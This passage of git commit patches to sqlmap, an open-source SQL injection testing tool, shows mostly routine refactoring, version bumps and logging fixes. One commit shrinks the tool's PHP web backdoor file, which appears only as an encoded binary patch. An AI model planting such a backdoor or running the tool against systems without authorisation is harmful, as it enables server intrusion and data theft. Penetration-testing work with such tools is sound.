_http_client.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code From 6dc37628a0ff6addfc3c5fb18f4c94a5abd7a952 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 10:42:11 +0200 Subject: [PATCH 227/800] Minor patch for TRAFFIC messages --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5061fe2894a..e148cf18a94 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.17" +VERSION = "1.3.4.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 188511194a7..2cae9880573 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -608,7 +608,7 @@ class _(dict): page = getUnicode(page) code = ex.code - status = getSafeExString(ex) + status = getattr(ex, "reason", None) or getSafeExString(ex).split(": ")[-1] kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) From 6831031cf7269ecd5dbce13b33e5994c7994d924 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 10:55:58 +0200 Subject: [PATCH 228/800] Bug fix for displaying traffic output in higher verbosity levels --- lib/core/settings.py | 2 +- lib/request/connect.py | 42 +++++++++++++++++++++--------------------- 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e148cf18a94..707e070fac1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.18" +VERSION = "1.3.4.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2cae9880573..bdddfcd5819 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -608,7 +608,7 @@ class _(dict): page = getUnicode(page) code = ex.code - status = getattr(ex, "reason", None) or getSafeExString(ex).split(": ")[-1] + status = getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1] kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) @@ -782,33 +782,33 @@ class _(dict): processResponse(page, responseHeaders, status) - if conn and getattr(conn, "redurl", None): - _ = _urllib.parse.urlsplit(conn.redurl) - _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + if not skipLogTraffic: + if conn and getattr(conn, "redurl", None): + _ = _urllib.parse.urlsplit(conn.redurl) + _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) - if kb.resendPostOnRedirect is False: - requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) - requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) - requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) + if kb.resendPostOnRedirect is False: + requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) + requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) + requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) - responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) - else: - responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) + elif "\n" not in responseMsg: + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) - if responseHeaders: - logHeaders = getUnicode("".join(responseHeaders.headers).strip()) + if responseHeaders: + logHeaders = getUnicode("".join(responseHeaders.headers).strip()) - if not skipLogTraffic: logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) - if conf.verbose <= 5: - responseMsg += getUnicode(logHeaders) - elif conf.verbose > 5: - responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + if conf.verbose <= 5: + responseMsg += getUnicode(logHeaders) + elif conf.verbose > 5: + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) - if not multipart: - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + if not multipart: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code From 9289939cede92751551ae0027fd5f8697cbaaee7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 11:07:58 +0200 Subject: [PATCH 229/800] Update for #3587 (multiple request files per option -r) --- lib/core/option.py | 29 ++++++++++++++++------------- lib/core/settings.py | 2 +- 2 files changed, 17 insertions(+), 14 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3794cb1ae88..d8097a7b5ca 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -293,22 +293,25 @@ def _setRequestFromFile(): """ if conf.requestFile: - conf.requestFile = safeExpandUser(conf.requestFile) - seen = set() + for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): + requestFile = safeExpandUser(requestFile) + seen = set() - if not checkFile(conf.requestFile, False): - errMsg = "specified HTTP request file '%s' " % conf.requestFile - errMsg += "does not exist" - raise SqlmapFilePathException(errMsg) + if not checkFile(requestFile, False): + errMsg = "specified HTTP request file '%s' " % requestFile + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - infoMsg = "parsing HTTP request from '%s'" % conf.requestFile - logger.info(infoMsg) + infoMsg = "parsing HTTP request from '%s'" % requestFile + logger.info(infoMsg) - for target in parseRequestFile(conf.requestFile): - url = target[0] - if url not in seen: - kb.targets.add(target) - seen.add(url) + for target in parseRequestFile(requestFile): + url = target[0] + if url not in seen: + kb.targets.add(target) + if len(kb.targets) > 1: + conf.multipleTargets = True + seen.add(url) if conf.secondReq: conf.secondReq = safeExpandUser(conf.secondReq) diff --git a/lib/core/settings.py b/lib/core/settings.py index 707e070fac1..eb52a52d5e1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.19" +VERSION = "1.3.4.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 282d4b2beaf438d192339f3aa2312167be48eef5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 11:08:41 +0200 Subject: [PATCH 230/800] Minor cleanup --- lib/core/common.py | 3 +-- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 15be2daf770..3c78c5d65fe 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -124,7 +124,6 @@ from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR -from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE @@ -2421,7 +2420,7 @@ def getUnicode(value, encoding=None, noneToNull=False): try: return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) - except UnicodeDecodeError as ex: + except UnicodeDecodeError: return six.text_type(value, UNICODE_ENCODING, errors="reversible") elif isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) diff --git a/lib/core/settings.py b/lib/core/settings.py index eb52a52d5e1..8d506bc331d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.20" +VERSION = "1.3.4.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bc5b6437009837c7dfc884274a6f48469ea68646 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 11:18:00 +0200 Subject: [PATCH 231/800] One more improvement for #3587 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8d506bc331d..691f0eb1b49 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.22" +VERSION = "1.3.4.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 798fbb4cfa5..9f2fa1be2f0 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -855,6 +855,14 @@ def _(self, *args): elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) + elif argv[i] == "-r": + for j in xrange(i + 2, len(argv)): + value = argv[j] + if os.path.isfile(value): + argv[i + 1] += ",%s" % value + argv[j] = '' + else: + break elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True From 0f697418d9513807cc6ce5d3e4c890b3122ba27f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 11:52:33 +0200 Subject: [PATCH 232/800] Update regarding #545 --- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- lib/request/connect.py | 7 ++++--- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3c78c5d65fe..eb9f958611a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2431,11 +2431,11 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances -def getASCII(value): +def getBytes(value): """ - Returns ASCII representation of provided Unicode value + Returns byte representation of provided Unicode value - >>> getASCII(getUnicode("foo\x01\x83\xffbar")) == "foo\x01\x83\xffbar" + >>> getBytes(getUnicode("foo\x01\x83\xffbar")) == "foo\x01\x83\xffbar" True """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 691f0eb1b49..bc4e7c63218 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.23" +VERSION = "1.3.4.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index bdddfcd5819..d74539bedcd 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -34,6 +34,7 @@ class WebSocketException(Exception): from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import findMultipartPostBoundary +from lib.core.common import getBytes from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader @@ -420,8 +421,8 @@ def getPage(**kwargs): value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) headers[unicodeencode(key, kb.pageEncoding)] = value.strip("\r\n") - url = unicodeencode(url) - post = unicodeencode(post) + url = getBytes(url) + post = getBytes(post) if websocket_: ws = websocket.WebSocket() @@ -452,7 +453,7 @@ class _(dict): logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): - method = unicodeencode(method) + method = getBytes(method) req = MethodRequest(url, post, headers) req.set_method(method) elif url is not None: From 552077f379bf5b2d68d169cdcd66ce7dea3fe51a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 12:05:59 +0200 Subject: [PATCH 233/800] Minor patch --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index d8097a7b5ca..6d256138133 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1143,6 +1143,7 @@ def _setHTTPHandlers(): handlers.append(keepAliveHandler) opener = _urllib.request.build_opener(*handlers) + opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" _urllib.request.install_opener(opener) def _setSafeVisit(): diff --git a/lib/core/settings.py b/lib/core/settings.py index bc4e7c63218..efc2961a7df 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.24" +VERSION = "1.3.4.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ba96261a28711f2ec70fead4c54a61f24aaed9ed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 14:48:50 +0200 Subject: [PATCH 234/800] Trivial update --- .gitignore | 4 +++- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 81f58777842..1f7f94a3b1e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,8 @@ -*.py[cod] output/ +__pycache__/ +*.py[cod] .sqlmap_history traffic.txt *~ +req*.txt .idea/ \ No newline at end of file diff --git a/lib/core/settings.py b/lib/core/settings.py index efc2961a7df..64c7eaab496 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.25" +VERSION = "1.3.4.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6b063e708e37ce288fd4a302d826dadde101bc31 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 15:13:49 +0200 Subject: [PATCH 235/800] 50 bytes smaller PHP shell --- lib/core/settings.py | 2 +- shell/backdoors/backdoor.php_ | Bin 485 -> 469 bytes 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 64c7eaab496..b6a7de39b9b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.26" +VERSION = "1.3.4.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/shell/backdoors/backdoor.php_ b/shell/backdoors/backdoor.php_ index 172dd5f221f6be0aea65a25b6195b8103dc1ddf6..8f447ecfc9ce284f373219854c8d03deedc0e66b 100644 GIT binary patch literal 469 zcmV;`0V@6noQ*9qkDE_x{8YrUC8MGPtki5?o6FuQmHM%#5*tR&T)0iP8e~3g^}qLi z9!S|Ng?si-&rI|D){m|Yc9nYNK%Tz8L;d{qH5&q7y8~oj@~9QyCDm238k!K*(I;@c zcHp_#Bw*R9IE~^r8Kh}qhjANhl}bEP$*_!`i-8R6MtEw(A$(9|Tm&Uw7Opi(gWAPx zqvuP#U*85t4RA4Zc8pUYvm5ssKC;jFU!_29MW^k4*m7IEXjmb1$2at*=Wn+Z+~2s*Mn* zV;e!u5ee;wBAU@h$N~fg0nXbsq4g$qX>7*V)vjn4=Q`;=V>w&){D_021+WbJ-D-h;JR`n{bVo;QtrJBxJh6GE(sGfslol;$GOs;{(ufsR&-X z`-I&}VdlFT>+bXsEix<(&6Uv!ko_E$9Tj_!uG>pK5h L`Qzqb7};P_yWr^n literal 485 zcmVkZbH)>;UiB zj!4O2i@`UqAZm#x^ER5xiZP(J z;XBDjGEnHZarVrCDkFa~8Jknu0i9YV_o1bWcdaU>#KW7!o#R+33^bGA8$#&sphF|Z zEQ&pNRHhE}wED96qvHdtTdG&l=^C%hj;n~A40z$_3tK{LBdM(S8f?2aa{&ZX);( zalA%FoL-VDjA#j*|;o%{SAh{S>68;^62Vo(bCYx?wo5R_6J; b3N43MA>x3q;#TI5m$Lz#K(GFOd-YKuVD0)3 From da15701a5593589b0910882201a4177b05b981ff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 16:06:19 +0200 Subject: [PATCH 236/800] Minor DREI updates --- lib/controller/checks.py | 3 +- lib/core/common.py | 19 +++---- lib/core/dump.py | 10 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 6 +- lib/techniques/union/use.py | 5 +- lib/utils/hash.py | 109 +++++++++++------------------------- lib/utils/hashdb.py | 5 +- 8 files changed, 57 insertions(+), 102 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f8a4e5fc1c6..34eb41b5f27 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -49,7 +49,6 @@ from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange -from lib.core.convert import unicodeencode from lib.core.defaults import defaults from lib.core.data import conf from lib.core.data import kb @@ -1611,7 +1610,7 @@ def checkConnection(suppressOutput=False): kb.errorIsNone = True if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: - if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]: + if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]): conf.url = re.sub(r"https?://", "https://", conf.url) match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) port = match.group(1) if match else 443 diff --git a/lib/core/common.py b/lib/core/common.py index eb9f958611a..1aaa999ca73 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -52,7 +52,6 @@ from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.convert import stdoutencode -from lib.core.convert import unicodeencode from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import kb @@ -894,14 +893,14 @@ def setColor(message, color=None, bold=False, level=None): retVal = message level = level or extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) - if isinstance(level, unicode): - level = unicodeencode(level) - if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if bold or color: retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: - level = getattr(logging, level, None) if isinstance(level, six.string_types) else level + try: + level = getattr(logging, level, None) + except UnicodeError: + level = None retVal = LOGGER_HANDLER.colorize(message, level) return retVal @@ -989,7 +988,7 @@ def dataToOutFile(filename, data): try: with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data - f.write(unicodeencode(data)) + f.write(getBytes(data)) except UnicodeEncodeError as ex: _ = normalizeUnicode(filename) if filename != _: @@ -2431,7 +2430,7 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances -def getBytes(value): +def getBytes(value, encoding=UNICODE_ENCODING): """ Returns byte representation of provided Unicode value @@ -2446,11 +2445,11 @@ def getBytes(value): for char in xrange(0xF0000, 0xF00FF + 1): value = value.replace(unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) - retVal = value.encode(UNICODE_ENCODING) + retVal = value.encode(encoding) retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: _.group(1).decode("hex"), retVal) else: - retVal = value.encode(UNICODE_ENCODING) + retVal = value.encode(encoding) retVal = re.sub(r"\\x([0-9a-f]{2})", lambda _: _.group(1).decode("hex"), retVal) return retVal @@ -4171,7 +4170,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): class _(io.BytesIO): def __init__(self, content, url): - io.BytesIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) + io.BytesIO.__init__(self, getBytes(content, kb.pageEncoding)) self._url = url def geturl(self): diff --git a/lib/core/dump.py b/lib/core/dump.py index 74a6d6c0152..e20edd14b0a 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -17,6 +17,7 @@ from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout +from lib.core.common import getBytes from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isListLike @@ -26,7 +27,6 @@ from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue -from lib.core.common import unicodeencode from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.data import conf @@ -422,8 +422,8 @@ def dbTableValues(self, tableValues): except: warnFile = True - _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))) - dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) + dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: @@ -456,8 +456,8 @@ def dbTableValues(self, tableValues): _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: - _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))) - dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index b6a7de39b9b..f3f2ddcc6f1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.27" +VERSION = "1.3.4.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index d74539bedcd..e89dfafa9ee 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -55,7 +55,6 @@ class WebSocketException(Exception): from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDelayed -from lib.core.common import unicodeencode from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode @@ -416,10 +415,9 @@ def getPage(**kwargs): for key, value in headers.items(): del headers[key] - value = unicodeencode(value, kb.pageEncoding) for char in (r"\r", r"\n"): value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) - headers[unicodeencode(key, kb.pageEncoding)] = value.strip("\r\n") + headers[getBytes(key)] = getBytes(value.strip("\r\n")) url = getBytes(url) post = getBytes(post) @@ -1134,7 +1132,7 @@ def _randomizeParameter(paramString, randomParameter): while True: try: - compile(unicodeencode(conf.evalCode.replace(';', '\n')), "", "exec") + compile(getBytes(conf.evalCode.replace(';', '\n')), "", "exec") except SyntaxError as ex: if ex.text: original = replacement = ex.text.strip() diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index ffb3085f167..82fcd462dba 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -21,6 +21,8 @@ from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import flattenValue +from lib.core.common import safeStringFormat +from lib.core.common import getBytes from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getUnicode @@ -54,7 +56,6 @@ from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper @@ -109,7 +110,7 @@ def _(regex): output = extractRegexResult(r"(?P()+)", page) if output: try: - root = xml.etree.ElementTree.fromstring("%s" % output.encode(UNICODE_ENCODING)) + root = xml.etree.ElementTree.fromstring(safeStringFormat("%s", getBytes(output))) retVal = "" for column in kb.dumpColumns: base64 = True diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 03c5c4db196..cf52fb562c9 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -50,6 +50,7 @@ from lib.core.common import checkFile from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import getBytes from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString @@ -102,8 +103,7 @@ def mysql_passwd(password, uppercase=True): '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() @@ -143,11 +143,8 @@ def postgres_passwd(password, username, uppercase=False): 'md599e5ea7a6f7c3269995cba3927fd0093' """ - if isinstance(username, six.text_type): - username = username.encode(UNICODE_ENCODING) - - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + username = getBytes(username) + password = getBytes(password) retVal = "md5%s" % md5(password + username).hexdigest() @@ -232,11 +229,8 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' IV, pad = "\0" * 8, "\0" - if isinstance(username, six.text_type): - username = username.encode(UNICODE_ENCODING) - - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + username = getBytes(username) + password = getBytes(password) unistr = "".join("\0%s" % c for c in (username + password).upper()) @@ -255,8 +249,7 @@ def md5_generic_passwd(password, uppercase=False): '179ad45c6ce2cb97cf1029e212046e81' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = md5(password).hexdigest() @@ -268,8 +261,7 @@ def sha1_generic_passwd(password, uppercase=False): '206c80413b9a96c1312cc346b7d2517b84463edd' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = sha1(password).hexdigest() @@ -281,8 +273,7 @@ def apache_sha1_passwd(password, **kwargs): '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' """ - if isinstance(password, six.text_type): - password = 